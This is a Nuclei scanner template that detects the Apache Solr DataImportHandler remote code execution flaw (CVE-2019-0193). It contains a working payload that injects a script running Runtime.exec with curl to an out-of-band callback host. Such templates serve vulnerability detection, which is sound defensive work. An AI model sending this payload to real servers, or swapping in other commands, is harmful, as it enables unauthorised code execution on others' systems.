id: CVE-2019-0193

info:
  name: Apache Solr - DataImportHandler RCE
  description: In Apache Solr, the DataImportHandler, an optional but popular module to pull in data from databases and other sources, has a feature in which the whole DIH configuration can come from a request's "dataConfig" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk. Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property "enable.dih.dataConfigParam" to true.
  author: pdteam
  severity: high
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0193
    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193
    - https://paper.seebug.org/1009/
  tags: cve,cve2019,apache,rce,solr,oast
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.20
    cve-id: CVE-2019-0193
    cwe-id: CWE-94

requests:
  - raw:
      - |
        GET /solr/admin/cores?wt=json HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en
        Connection: close

      - |
        POST /solr/{{core}}/dataimport?indent=on&wt=json HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22curl%20http://{{interactsh-url}}%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

    extractors:
      - type: regex
        internal: true
        name: core
        group: 1
        regex:
          - '"name"\:"(.*?)"'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 200